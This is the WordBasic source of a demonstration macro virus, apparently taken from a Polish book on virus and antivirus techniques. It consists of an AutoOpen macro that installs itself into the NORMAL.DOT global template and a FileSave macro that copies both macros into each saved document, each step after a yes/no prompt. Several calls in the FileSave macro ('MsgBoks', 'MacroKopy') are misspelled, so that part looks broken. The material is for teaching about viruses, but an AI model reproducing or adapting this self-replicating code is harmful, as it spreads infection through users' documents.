zawartość makra : AutoOpen
Sub MAIN
On Error Goto AutoOpen_Error
Tyt$ = "Nowoczesne techniki wirusowe i antywirusowe, Autor Adam Błaszczyk"
Uwg$ = "Uwaga MakroWirus SZYFRUJĄCY MAKRA, Chcesz go zainstalować ?"
TiN = 256 + 48 + 4
Prz = MsgBox(Uwg$, Tyt$, TiN)
If (Prz = - 1) Then
MacroCopy WindowName$() + ":AutoOpen", "Globalne:AutoOpen",1
MacroCopy WindowName$() + ":FileSave", "Globalne:FileSave",1
MsgBox "Wirus dopisał się do NORMAL.DOT, Sam tego chciales !!!", Tyt$, 64
End If
AutoOpen_Error:
End Sub


zawartość makra : FileSave
Sub MAIN
FileSave
On Error Goto FileSave_Error
Tyt$ = "Nowoczesne techniki wirusowe i antywirusowe, Autor Adam Błaszczyk"
Uwg$ = "Czy chcesz zainfekować '" + WindowName$() + "' makrowirusem ?"
TiN = 256 + 48 + 4
Prz = MsgBoks(Uwg$, Tyt$, TiN)
If (Prz = - 1) Then
MacroKopy "Globalne:AutoOpen", WindowName$() + ":AutoOpen", 1
MacroKopy "Globalne:FileSave", WindowName$() + ":FileSave", 1
FileSaveAs .Format = 1
Tek$ = "Wirus dopisał się do '" + WindowName$() + "'"
MsgBox Tek$, Tyt$, 64
FileSave
End If
REM FileSave
FileSave_Error:
End Sub